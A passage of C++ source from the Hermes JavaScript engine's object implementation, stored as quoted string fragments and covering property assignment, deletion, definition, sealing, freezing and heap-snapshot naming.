ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n return true;\n }\n }", " if (LLVM_UNLIKELY(\n desc.flags.internalSetter || receiverHandle->isHostObject() ||\n receiverHandle->isProxyObject())) {\n SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);\n if (desc.flags.internalSetter) {\n return internalSetter(\n receiverHandle,\n runtime,\n id,\n desc.castToNamedPropertyDescriptorRef(),\n valueHandle,\n opFlags);\n } else if (receiverHandle->isHostObject()) {\n return vmcast<HostObject>(receiverHandle.get())->set(id, *valueHandle);\n }\n assert(\n receiverHandle->isProxyObject() && \"descriptor flags are impossible\");\n if (*descDefinedRes) {\n dpf.setValue = 1;\n } else {\n dpf = DefinePropertyFlags::getDefaultNewPropertyFlags();\n }\n return JSProxy::defineOwnProperty(\n receiverHandle, runtime, id, dpf, valueHandle, opFlags);\n }\n }", " /// Can we add more properties?\n if (LLVM_UNLIKELY(!receiverHandle->isExtensible())) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"cannot add a new property\"); // TODO: better message.\n }\n return false;\n }", " // If we have indexed storage we must check whether the property is an index,\n // and if it is, store it in indexed storage.\n if (receiverHandle->flags_.indexedStorage) {\n OptValue<uint32_t> arrayIndex;\n MutableHandle<StringPrimitive> strPrim{runtime};\n TO_ARRAY_INDEX(runtime, nameValPrimitiveHandle, strPrim, arrayIndex);\n if (arrayIndex) {\n // Check whether we need to update array's \".length\" property.\n if (auto *array = dyn_vmcast<JSArray>(receiverHandle.get())) {\n if (LLVM_UNLIKELY(*arrayIndex >= JSArray::getLength(array))) {\n auto cr = putNamed_RJS(\n receiverHandle,\n runtime,\n Predefined::getSymbolID(Predefined::length),\n runtime->makeHandle(\n HermesValue::encodeNumberValue(*arrayIndex + 1)),\n opFlags);\n if (LLVM_UNLIKELY(cr == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (LLVM_UNLIKELY(!*cr))\n return false;\n }\n }", " auto result =\n setOwnIndexed(receiverHandle, runtime, *arrayIndex, valueHandle);\n if (LLVM_UNLIKELY(result == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (LLVM_LIKELY(*result))\n return true;", " if (opFlags.getThrowOnError()) {\n // TODO: better message.\n return runtime->raiseTypeError(\"Cannot assign to read-only property\");\n }\n return false;\n }\n }", " SymbolID id{};\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);", " // Add a new named property.\n return addOwnProperty(\n receiverHandle,\n runtime,\n id,\n DefinePropertyFlags::getDefaultNewPropertyFlags(),\n valueHandle,\n opFlags);\n}", "CallResult<bool> JSObject::deleteNamed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropOpFlags opFlags) {\n assert(\n !opFlags.getMustExist() && \"mustExist cannot be specified when deleting\");", " // Find the property by name.\n NamedPropertyDescriptor desc;\n auto pos = findProperty(selfHandle, runtime, name, desc);", " // If the property doesn't exist in this object, return success.\n if (!pos) {\n if (LLVM_LIKELY(\n !selfHandle->flags_.lazyObject &&\n !selfHandle->flags_.proxyObject)) {\n return true;\n } else if (selfHandle->flags_.lazyObject) {\n // object is lazy, initialize and read again.\n initializeLazyObject(runtime, selfHandle);\n pos = findProperty(selfHandle, runtime, name, desc);\n if (!pos) // still not there, return true.\n return true;\n } else {\n assert(selfHandle->flags_.proxyObject && \"object flags are impossible\");\n return proxyOpFlags(\n runtime,\n opFlags,\n \"Proxy delete returned false\",\n JSProxy::deleteNamed(selfHandle, runtime, name));\n }\n }\n // If the property isn't configurable, fail.\n if (LLVM_UNLIKELY(!desc.flags.configurable)) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"' is not configurable\");\n }\n return false;\n }", " // Clear the deleted property value to prevent memory leaks.\n setNamedSlotValue(\n *selfHandle, runtime, desc, HermesValue::encodeEmptyValue());", " // Perform the actual deletion.\n auto newClazz = HiddenClass::deleteProperty(\n runtime->makeHandle(selfHandle->clazz_), runtime, *pos);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());", " return true;\n}", "CallResult<bool> JSObject::deleteComputed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n PropOpFlags opFlags) {\n assert(\n !opFlags.getMustExist() && \"mustExist cannot be specified when deleting\");", " // If nameValHandle is an object, we should convert it to string now,\n // because toString may have side-effect, and we want to do this only\n // once.\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }", " auto nameValPrimitiveHandle = *converted;", " // If the name is a valid integer array index, store it here.\n OptValue<uint32_t> arrayIndex;", " // If we have indexed storage, we must attempt to convert the name to array\n // index, even if the conversion is expensive.\n if (selfHandle->flags_.indexedStorage) {\n MutableHandle<StringPrimitive> strPrim{runtime};\n TO_ARRAY_INDEX(runtime, nameValPrimitiveHandle, strPrim, arrayIndex);\n }", " // Try the fast-path first: the \"name\" is a valid array index and we don't\n // have \"index-like\" named properties.\n if (arrayIndex && selfHandle->flags_.fastIndexProperties) {\n // Delete the indexed property.\n if (deleteOwnIndexed(selfHandle, runtime, *arrayIndex))\n return true;", " // Cannot delete property (for example this may be a typed array).\n if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\"Cannot delete property\");\n }\n return false;\n }", " // slow path, check if object is lazy before continuing.\n if (LLVM_UNLIKELY(selfHandle->flags_.lazyObject)) {\n // initialize and try again.\n initializeLazyObject(runtime, selfHandle);\n return deleteComputed(selfHandle, runtime, nameValHandle, opFlags);\n }", " // Convert the string to an SymbolID;\n SymbolID id;\n LAZY_TO_IDENTIFIER(runtime, nameValPrimitiveHandle, id);", " // Find the property by name.\n NamedPropertyDescriptor desc;\n auto pos = findProperty(selfHandle, runtime, id, desc);", " // If the property exists, make sure it is configurable.\n if (pos) {\n // If the property isn't configurable, fail.\n if (LLVM_UNLIKELY(!desc.flags.configurable)) {\n if (opFlags.getThrowOnError()) {\n // TODO: a better message.\n return runtime->raiseTypeError(\"Property is not configurable\");\n }\n return false;\n }\n }", " // At this point we know that the named property either doesn't exist, or\n // is configurable and so can be deleted, or the object is a Proxy.", " // If it is an \"index-like\" property, we must also delete the \"shadow\" indexed\n // property in order to keep Array.length correct.\n if (arrayIndex) {\n if (!deleteOwnIndexed(selfHandle, runtime, *arrayIndex)) {\n // Cannot delete property (for example this may be a typed array).\n if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\"Cannot delete property\");\n }\n return false;\n }\n }", " if (pos) {\n // delete the named property (if it exists).\n // Clear the deleted property value to prevent memory leaks.\n setNamedSlotValue(\n *selfHandle, runtime, desc, HermesValue::encodeEmptyValue());", " // Remove the property descriptor.\n auto newClazz = HiddenClass::deleteProperty(\n runtime->makeHandle(selfHandle->clazz_), runtime, *pos);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());\n } else if (LLVM_UNLIKELY(selfHandle->flags_.proxyObject)) {\n CallResult<Handle<>> key = toPropertyKey(runtime, nameValPrimitiveHandle);\n if (key == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n return proxyOpFlags(\n runtime,\n opFlags,\n \"Proxy delete returned false\",\n JSProxy::deleteComputed(selfHandle, runtime, *key));\n }", " return true;\n}", "CallResult<bool> JSObject::defineOwnProperty(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n assert(\n !opFlags.getMustExist() && \"cannot use mustExist with defineOwnProperty\");\n assert(\n !(dpFlags.setValue && dpFlags.isAccessor()) &&\n \"Cannot set both value and accessor\");\n assert(\n (dpFlags.setValue || dpFlags.isAccessor() ||\n valueOrAccessor.get().isUndefined()) &&\n \"value must be undefined when all of setValue/setSetter/setGetter are \"\n \"false\");\n#ifndef NDEBUG\n if (dpFlags.isAccessor()) {\n assert(valueOrAccessor.get().isPointer() && \"accessor must be non-empty\");\n assert(\n !dpFlags.setWritable && !dpFlags.writable &&\n \"writable must not be set with accessors\");\n }\n#endif", " // Is it an existing property.\n NamedPropertyDescriptor desc;\n auto pos = findProperty(selfHandle, runtime, name, desc);\n if (pos) {\n return updateOwnProperty(\n selfHandle,\n runtime,\n name,\n *pos,\n desc,\n dpFlags,\n valueOrAccessor,\n opFlags);\n }", " if (LLVM_UNLIKELY(\n selfHandle->flags_.lazyObject || selfHandle->flags_.proxyObject)) {\n if (selfHandle->flags_.proxyObject) {\n return JSProxy::defineOwnProperty(\n selfHandle, runtime, name, dpFlags, valueOrAccessor, opFlags);\n }\n assert(selfHandle->flags_.lazyObject && \"descriptor flags are impossible\");\n // if the property was not found and the object is lazy we need to\n // initialize it and try again.\n JSObject::initializeLazyObject(runtime, selfHandle);\n return defineOwnProperty(\n selfHandle, runtime, name, dpFlags, valueOrAccessor, opFlags);\n }", " return addOwnProperty(\n selfHandle, runtime, name, dpFlags, valueOrAccessor, opFlags);\n}", "ExecutionStatus JSObject::defineNewOwnProperty(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropertyFlags propertyFlags,\n Handle<> valueOrAccessor) {\n assert(\n !selfHandle->flags_.proxyObject &&\n \"definedNewOwnProperty cannot be used with proxy objects\");\n assert(\n !(propertyFlags.accessor && !valueOrAccessor.get().isPointer()) &&\n \"accessor must be non-empty\");\n assert(\n !(propertyFlags.accessor && propertyFlags.writable) &&\n \"writable must not be set with accessors\");\n assert(\n !HiddenClass::debugIsPropertyDefined(\n selfHandle->clazz_.get(runtime), runtime, name) &&\n \"new property is already defined\");", " return addOwnPropertyImpl(\n selfHandle, runtime, name, propertyFlags, valueOrAccessor);\n}", "CallResult<bool> JSObject::defineOwnComputedPrimitive(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n assert(\n !nameValHandle->isObject() &&\n \"nameValHandle passed to \"\n \"defineOwnComputedPrimitive() cannot be \"\n \"an object\");\n assert(\n !opFlags.getMustExist() && \"cannot use mustExist with defineOwnProperty\");\n assert(\n !(dpFlags.setValue && dpFlags.isAccessor()) &&\n \"Cannot set both value and accessor\");\n assert(\n (dpFlags.setValue || dpFlags.isAccessor() ||\n valueOrAccessor.get().isUndefined()) &&\n \"value must be undefined when all of setValue/setSetter/setGetter are \"\n \"false\");\n assert(\n !dpFlags.enableInternalSetter &&\n \"Cannot set internalSetter on a computed property\");\n#ifndef NDEBUG\n if (dpFlags.isAccessor()) {\n assert(valueOrAccessor.get().isPointer() && \"accessor must be non-empty\");\n assert(\n !dpFlags.setWritable && !dpFlags.writable &&\n \"writable must not be set with accessors\");\n }\n#endif", " // If the name is a valid integer array index, store it here.\n OptValue<uint32_t> arrayIndex;", " // If we have indexed storage, we must attempt to convert the name to array\n // index, even if the conversion is expensive.\n if (selfHandle->flags_.indexedStorage) {\n MutableHandle<StringPrimitive> strPrim{runtime};\n TO_ARRAY_INDEX(runtime, nameValHandle, strPrim, arrayIndex);\n }", " SymbolID id{};", " // If not storing a property with an array index name, or if we don't have\n // indexed storage, just pass to the named routine.\n if (!arrayIndex) {\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);\n return defineOwnProperty(\n selfHandle, runtime, id, dpFlags, valueOrAccessor, opFlags);\n }", " // At this point we know that we have indexed storage and that the property\n // has an index-like name.", " // First check if a named property with the same name exists.\n if (selfHandle->clazz_.get(runtime)->getHasIndexLikeProperties()) {\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);", " NamedPropertyDescriptor desc;\n auto pos = findProperty(selfHandle, runtime, id, desc);\n // If we found a named property, update it.\n if (pos) {\n return updateOwnProperty(\n selfHandle,\n runtime,\n id,\n *pos,\n desc,\n dpFlags,\n valueOrAccessor,\n opFlags);\n }\n }", " // Does an indexed property with that index exist?\n auto indexedPropPresent =\n getOwnIndexedPropertyFlags(selfHandle.get(), runtime, *arrayIndex);\n if (indexedPropPresent) {\n // The current value of the property.\n HermesValue curValueOrAccessor =\n getOwnIndexed(selfHandle.get(), runtime, *arrayIndex);", " auto updateStatus = checkPropertyUpdate(\n runtime,\n *indexedPropPresent,\n dpFlags,\n curValueOrAccessor,\n valueOrAccessor,\n opFlags);\n if (updateStatus == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n if (updateStatus->first == PropertyUpdateStatus::failed)\n return false;", " // The property update is valid, but can the property remain an \"indexed\"\n // property, or do we need to convert it to a named property?\n // If the property flags didn't change, the property remains indexed.\n if (updateStatus->second == *indexedPropPresent) {\n // If the value doesn't change, we are done.\n if (updateStatus->first == PropertyUpdateStatus::done)\n return true;", " // If we successfully updated the value, we are done.\n auto result =\n setOwnIndexed(selfHandle, runtime, *arrayIndex, valueOrAccessor);\n if (LLVM_UNLIKELY(result == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (*result)\n return true;", " if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\n \"cannot change read-only property value\");\n }", " return false;\n }", " // OK, we need to convert an indexed property to a named one.", " // Check whether to use the supplied value, or to reuse the old one, as we\n // are simply reconfiguring it.\n MutableHandle<> value{runtime};\n if (dpFlags.setValue || dpFlags.isAccessor()) {\n value = valueOrAccessor.get();\n } else {\n value = curValueOrAccessor;\n }", " // Update dpFlags to match the existing property flags.\n dpFlags.setEnumerable = 1;\n dpFlags.setWritable = 1;\n dpFlags.setConfigurable = 1;\n dpFlags.enumerable = updateStatus->second.enumerable;\n dpFlags.writable = updateStatus->second.writable;\n dpFlags.configurable = updateStatus->second.configurable;", " // Delete the existing indexed property.\n if (!deleteOwnIndexed(selfHandle, runtime, *arrayIndex)) {\n if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\"Cannot define property\");\n }\n return false;\n }", " // Add the new named property.\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);\n return addOwnProperty(selfHandle, runtime, id, dpFlags, value, opFlags);\n }", " /// Can we add new properties?\n if (!selfHandle->isExtensible()) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"cannot add a new property\"); // TODO: better message.\n }\n return false;\n }", " // This is a new property with an index-like name.\n // Check whether we need to update array's \".length\" property.\n bool updateLength = false;\n if (auto arrayHandle = Handle<JSArray>::dyn_vmcast(selfHandle)) {\n if (LLVM_UNLIKELY(*arrayIndex >= JSArray::getLength(*arrayHandle))) {\n NamedPropertyDescriptor lengthDesc;\n bool lengthPresent = getOwnNamedDescriptor(\n arrayHandle,\n runtime,\n Predefined::getSymbolID(Predefined::length),\n lengthDesc);\n (void)lengthPresent;\n assert(lengthPresent && \".length must be present in JSArray\");", " if (!lengthDesc.flags.writable) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n \"Cannot assign to read-only 'length' property of array\");\n }\n return false;\n }", " updateLength = true;\n }\n }", " bool newIsIndexed = canNewPropertyBeIndexed(dpFlags);\n if (newIsIndexed) {\n auto result = setOwnIndexed(\n selfHandle,\n runtime,\n *arrayIndex,\n dpFlags.setValue ? valueOrAccessor : Runtime::getUndefinedValue());\n if (LLVM_UNLIKELY(result == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n if (!*result) {\n if (opFlags.getThrowOnError()) {\n // TODO: better error message.\n return runtime->raiseTypeError(\"Cannot define property\");\n }\n return false;\n }\n }", " // If this is an array and we need to update \".length\", do so.\n if (updateLength) {\n // This should always succeed since we are simply enlarging the length.\n auto res = JSArray::setLength(\n Handle<JSArray>::vmcast(selfHandle), runtime, *arrayIndex + 1, opFlags);\n (void)res;\n assert(\n res != ExecutionStatus::EXCEPTION && *res &&\n \"JSArray::setLength() failed unexpectedly\");\n }", " if (newIsIndexed)\n return true;", " // We are adding a new property with an index-like name.\n LAZY_TO_IDENTIFIER(runtime, nameValHandle, id);\n return addOwnProperty(\n selfHandle, runtime, id, dpFlags, valueOrAccessor, opFlags);\n}", "CallResult<bool> JSObject::defineOwnComputed(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n Handle<> nameValHandle,\n DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n auto converted = toPropertyKeyIfObject(runtime, nameValHandle);\n if (LLVM_UNLIKELY(converted == ExecutionStatus::EXCEPTION))\n return ExecutionStatus::EXCEPTION;\n return defineOwnComputedPrimitive(\n selfHandle, runtime, *converted, dpFlags, valueOrAccessor, opFlags);\n}", "std::string JSObject::getHeuristicTypeName(GC *gc) {\n PointerBase *const base = gc->getPointerBase();\n if (auto constructorVal = tryGetNamedNoAlloc(\n this, base, Predefined::getSymbolID(Predefined::constructor))) {\n if (auto *constructor = dyn_vmcast<JSObject>(*constructorVal)) {\n auto name = constructor->getNameIfExists(base);\n // If the constructor's name doesn't exist, or it is just the object\n // constructor, attempt to find a different name.\n if (!name.empty() && name != \"Object\")\n return name;\n }\n }", " std::string name = getVT()->base.snapshotMetaData.defaultNameForNode(this);\n // A constructor's name was not found, check if the object is in dictionary\n // mode.\n if (getClass(base)->isDictionary()) {\n return name + \"(Dictionary)\";\n }", " // If it's not an Object, the CellKind is most likely good enough on its own\n if (getKind() != CellKind::ObjectKind) {\n return name;\n }", " // If the object isn't a dictionary, and it has only a few property names,\n // make the name based on those property names.\n std::vector<std::string> propertyNames;\n HiddenClass::forEachPropertyNoAlloc(\n getClass(base),\n base,\n [gc, &propertyNames](SymbolID id, NamedPropertyDescriptor) {\n if (InternalProperty::isInternal(id)) {\n // Internal properties aren't user-visible, skip them.\n return;\n }\n propertyNames.emplace_back(gc->convertSymbolToUTF8(id));\n });\n // NOTE: One option is to sort the property names before truncation, to\n // reduce the number of groups; however, by not sorting them it makes it\n // easier to spot sets of objects with the same properties but in different\n // orders, and thus find HiddenClass optimizations to make.", " // For objects with a lot of properties but aren't in dictionary mode yet,\n // keep the number displayed small.\n constexpr int kMaxPropertiesForTypeName = 5;\n bool truncated = false;\n if (propertyNames.size() > kMaxPropertiesForTypeName) {\n propertyNames.erase(\n propertyNames.begin() + kMaxPropertiesForTypeName, propertyNames.end());\n truncated = true;\n }\n // The final name should look like Object(a, b, c).\n if (propertyNames.empty()) {\n // Don't add parentheses for objects with no properties.\n return name;\n }\n name += \"(\";\n bool first = true;\n for (const auto &prop : propertyNames) {\n if (!first) {\n name += \", \";\n }\n first = false;\n name += prop;\n }\n if (truncated) {\n // No need to check for comma edge case because this only happens for\n // greater than one property.\n static_assert(\n kMaxPropertiesForTypeName >= 1,\n \"Property truncation should not happen for 0 properties\");\n name += \", ...\";\n }\n name += \")\";\n return name;\n}", "std::string JSObject::getNameIfExists(PointerBase *base) {\n // Try \"displayName\" first, if it is defined.\n if (auto nameVal = tryGetNamedNoAlloc(\n this, base, Predefined::getSymbolID(Predefined::displayName))) {\n if (auto *name = dyn_vmcast<StringPrimitive>(*nameVal)) {\n return converter(name);\n }\n }\n // Next, use \"name\" if it is defined.\n if (auto nameVal = tryGetNamedNoAlloc(\n this, base, Predefined::getSymbolID(Predefined::name))) {\n if (auto *name = dyn_vmcast<StringPrimitive>(*nameVal)) {\n return converter(name);\n }\n }\n // There is no other way to access the \"name\" property on an object.\n return \"\";\n}", "std::string JSObject::_snapshotNameImpl(GCCell *cell, GC *gc) {\n auto *const self = vmcast<JSObject>(cell);\n return self->getHeuristicTypeName(gc);\n}", "void JSObject::_snapshotAddEdgesImpl(GCCell *cell, GC *gc, HeapSnapshot &snap) {\n auto *const self = vmcast<JSObject>(cell);", " // Add the prototype as a property edge, so it's easy for JS developers to\n // walk the prototype chain on their own.\n if (self->parent_) {\n snap.addNamedEdge(\n HeapSnapshot::EdgeType::Property,\n // __proto__ chosen for similarity to V8.\n \"__proto__\",\n gc->getObjectID(self->parent_));\n }", " HiddenClass::forEachPropertyNoAlloc(\n self->clazz_.get(gc->getPointerBase()),\n gc->getPointerBase(),\n [self, gc, &snap](SymbolID id, NamedPropertyDescriptor desc) {\n if (InternalProperty::isInternal(id)) {\n // Internal properties aren't user-visible, skip them.\n return;\n }\n // Else, it's a user-visible property.\n GCHermesValue &prop =\n namedSlotRef(self, gc->getPointerBase(), desc.slot);\n const llvh::Optional<HeapSnapshot::NodeID> idForProp =\n gc->getSnapshotID(prop);\n if (!idForProp) {\n return;\n }\n std::string propName = gc->convertSymbolToUTF8(id);\n // If the property name is a valid array index, display it as an\n // \"element\" instead of a \"property\". This will put square brackets\n // around the number and sort it numerically rather than\n // alphabetically.\n if (auto index = ::hermes::toArrayIndex(propName)) {\n snap.addIndexedEdge(\n HeapSnapshot::EdgeType::Element,\n index.getValue(),\n idForProp.getValue());\n } else {\n snap.addNamedEdge(\n HeapSnapshot::EdgeType::Property, propName, idForProp.getValue());\n }\n });\n}", "void JSObject::_snapshotAddLocationsImpl(\n GCCell *cell,\n GC *gc,\n HeapSnapshot &snap) {\n auto *const self = vmcast<JSObject>(cell);\n PointerBase *const base = gc->getPointerBase();\n // Add the location of the constructor function for this object, if that\n // constructor is a user-defined JS function.\n if (auto constructorVal = tryGetNamedNoAlloc(\n self, base, Predefined::getSymbolID(Predefined::constructor))) {\n if (constructorVal->isObject()) {\n if (auto *constructor = dyn_vmcast<JSFunction>(*constructorVal)) {\n constructor->addLocationToSnapshot(snap, gc->getObjectID(self));\n }\n }\n }\n}", "std::pair<uint32_t, uint32_t> JSObject::_getOwnIndexedRangeImpl(\n JSObject *self,\n Runtime *runtime) {\n return {0, 0};\n}", "bool JSObject::_haveOwnIndexedImpl(JSObject *self, Runtime *, uint32_t) {\n return false;\n}", "OptValue<PropertyFlags> JSObject::_getOwnIndexedPropertyFlagsImpl(\n JSObject *self,\n Runtime *runtime,\n uint32_t) {\n return llvh::None;\n}", "HermesValue JSObject::_getOwnIndexedImpl(JSObject *, Runtime *, uint32_t) {\n return HermesValue::encodeEmptyValue();\n}", "CallResult<bool>\nJSObject::_setOwnIndexedImpl(Handle<JSObject>, Runtime *, uint32_t, Handle<>) {\n return false;\n}", "bool JSObject::_deleteOwnIndexedImpl(Handle<JSObject>, Runtime *, uint32_t) {\n return false;\n}", "bool JSObject::_checkAllOwnIndexedImpl(\n JSObject * /*self*/,\n Runtime * /*runtime*/,\n ObjectVTable::CheckAllOwnIndexedMode /*mode*/) {\n return true;\n}", "void JSObject::preventExtensions(JSObject *self) {\n assert(\n !self->flags_.proxyObject &&\n \"[[Extensible]] slot cannot be set directly on Proxy objects\");\n self->flags_.noExtend = true;\n}", "CallResult<bool> JSObject::preventExtensions(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n PropOpFlags opFlags) {\n if (LLVM_UNLIKELY(selfHandle->isProxyObject())) {\n return JSProxy::preventExtensions(selfHandle, runtime, opFlags);\n }\n JSObject::preventExtensions(*selfHandle);\n return true;\n}", "ExecutionStatus JSObject::seal(Handle<JSObject> selfHandle, Runtime *runtime) {\n CallResult<bool> statusRes = JSObject::preventExtensions(\n selfHandle, runtime, PropOpFlags().plusThrowOnError());\n if (LLVM_UNLIKELY(statusRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n assert(\n *statusRes && \"seal preventExtensions with ThrowOnError returned false\");", " // Already sealed?\n if (selfHandle->flags_.sealed)\n return ExecutionStatus::RETURNED;", " auto newClazz = HiddenClass::makeAllNonConfigurable(\n runtime->makeHandle(selfHandle->clazz_), runtime);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());", " selfHandle->flags_.sealed = true;", " return ExecutionStatus::RETURNED;\n}", "ExecutionStatus JSObject::freeze(\n Handle<JSObject> selfHandle,\n Runtime *runtime) {\n CallResult<bool> statusRes = JSObject::preventExtensions(\n selfHandle, runtime, PropOpFlags().plusThrowOnError());\n if (LLVM_UNLIKELY(statusRes == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n assert(\n *statusRes &&\n \"freeze preventExtensions with ThrowOnError returned false\");", " // Already frozen?\n if (selfHandle->flags_.frozen)\n return ExecutionStatus::RETURNED;", " auto newClazz = HiddenClass::makeAllReadOnly(\n runtime->makeHandle(selfHandle->clazz_), runtime);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());", " selfHandle->flags_.frozen = true;\n selfHandle->flags_.sealed = true;", " return ExecutionStatus::RETURNED;\n}", "void JSObject::updatePropertyFlagsWithoutTransitions(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n PropertyFlags flagsToClear,\n PropertyFlags flagsToSet,\n OptValue<llvh::ArrayRef<SymbolID>> props) {\n auto newClazz = HiddenClass::updatePropertyFlagsWithoutTransitions(\n runtime->makeHandle(selfHandle->clazz_),\n runtime,\n flagsToClear,\n flagsToSet,\n props);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());\n}", "CallResult<bool> JSObject::isExtensible(\n PseudoHandle<JSObject> self,\n Runtime *runtime) {\n if (LLVM_UNLIKELY(self->isProxyObject())) {\n return JSProxy::isExtensible(runtime->makeHandle(std::move(self)), runtime);\n }\n return self->isExtensible();\n}", "bool JSObject::isSealed(PseudoHandle<JSObject> self, Runtime *runtime) {\n if (self->flags_.sealed)\n return true;\n if (!self->flags_.noExtend)\n return false;", " auto selfHandle = runtime->makeHandle(std::move(self));", " if (!HiddenClass::areAllNonConfigurable(\n runtime->makeHandle(selfHandle->clazz_), runtime)) {\n return false;\n }", " if (!checkAllOwnIndexed(\n *selfHandle,\n runtime,\n ObjectVTable::CheckAllOwnIndexedMode::NonConfigurable)) {\n return false;\n }", " // Now that we know we are sealed, set the flag.\n selfHandle->flags_.sealed = true;\n return true;\n}", "bool JSObject::isFrozen(PseudoHandle<JSObject> self, Runtime *runtime) {\n if (self->flags_.frozen)\n return true;\n if (!self->flags_.noExtend)\n return false;", " auto selfHandle = runtime->makeHandle(std::move(self));", " if (!HiddenClass::areAllReadOnly(\n runtime->makeHandle(selfHandle->clazz_), runtime)) {\n return false;\n }", " if (!checkAllOwnIndexed(\n *selfHandle,\n runtime,\n ObjectVTable::CheckAllOwnIndexedMode::ReadOnly)) {\n return false;\n }", " // Now that we know we are sealed, set the flag.\n selfHandle->flags_.frozen = true;\n selfHandle->flags_.sealed = true;\n return true;\n}", "CallResult<bool> JSObject::addOwnProperty(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n /// Can we add more properties?\n if (!selfHandle->isExtensible() && !opFlags.getInternalForce()) {\n if (opFlags.getThrowOnError()) {\n return runtime->raiseTypeError(\n TwineChar16(\"Cannot add new property '\") +\n runtime->getIdentifierTable().getStringViewForDev(runtime, name) +\n \"'\");\n }\n return false;\n }", " PropertyFlags flags{};", " // Accessors don't set writeable.\n if (dpFlags.isAccessor()) {\n dpFlags.setWritable = 0;\n flags.accessor = 1;\n }", " // Override the default flags if specified.\n if (dpFlags.setEnumerable)\n flags.enumerable = dpFlags.enumerable;\n if (dpFlags.setWritable)\n flags.writable = dpFlags.writable;\n if (dpFlags.setConfigurable)\n flags.configurable = dpFlags.configurable;\n flags.internalSetter = dpFlags.enableInternalSetter;", " if (LLVM_UNLIKELY(\n addOwnPropertyImpl(\n selfHandle, runtime, name, flags, valueOrAccessor) ==\n ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }", " return true;\n}", "ExecutionStatus JSObject::addOwnPropertyImpl(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n PropertyFlags propertyFlags,\n Handle<> valueOrAccessor) {\n assert(\n !selfHandle->flags_.proxyObject &&\n \"Internal properties cannot be added to Proxy objects\");\n // Add a new property to the class.\n // TODO: if we check for OOM here in the future, we must undo the slot\n // allocation.\n auto addResult = HiddenClass::addProperty(\n runtime->makeHandle(selfHandle->clazz_), runtime, name, propertyFlags);\n if (LLVM_UNLIKELY(addResult == ExecutionStatus::EXCEPTION)) {\n return ExecutionStatus::EXCEPTION;\n }\n selfHandle->clazz_.set(runtime, *addResult->first, &runtime->getHeap());", " allocateNewSlotStorage(\n selfHandle, runtime, addResult->second, valueOrAccessor);", " // If this is an index-like property, we need to clear the fast path flags.\n if (LLVM_UNLIKELY(\n selfHandle->clazz_.getNonNull(runtime)->getHasIndexLikeProperties()))\n selfHandle->flags_.fastIndexProperties = false;", " return ExecutionStatus::RETURNED;\n}", "CallResult<bool> JSObject::updateOwnProperty(\n Handle<JSObject> selfHandle,\n Runtime *runtime,\n SymbolID name,\n HiddenClass::PropertyPos propertyPos,\n NamedPropertyDescriptor desc,\n const DefinePropertyFlags dpFlags,\n Handle<> valueOrAccessor,\n PropOpFlags opFlags) {\n auto updateStatus = checkPropertyUpdate(\n runtime,\n desc.flags,\n dpFlags,\n getNamedSlotValue(selfHandle.get(), runtime, desc),\n valueOrAccessor,\n opFlags);\n if (updateStatus == ExecutionStatus::EXCEPTION)\n return ExecutionStatus::EXCEPTION;\n if (updateStatus->first == PropertyUpdateStatus::failed)\n return false;", " // If the property flags changed, update them.\n if (updateStatus->second != desc.flags) {\n desc.flags = updateStatus->second;\n auto newClazz = HiddenClass::updateProperty(\n runtime->makeHandle(selfHandle->clazz_),\n runtime,\n propertyPos,\n desc.flags);\n selfHandle->clazz_.set(runtime, *newClazz, &runtime->getHeap());\n 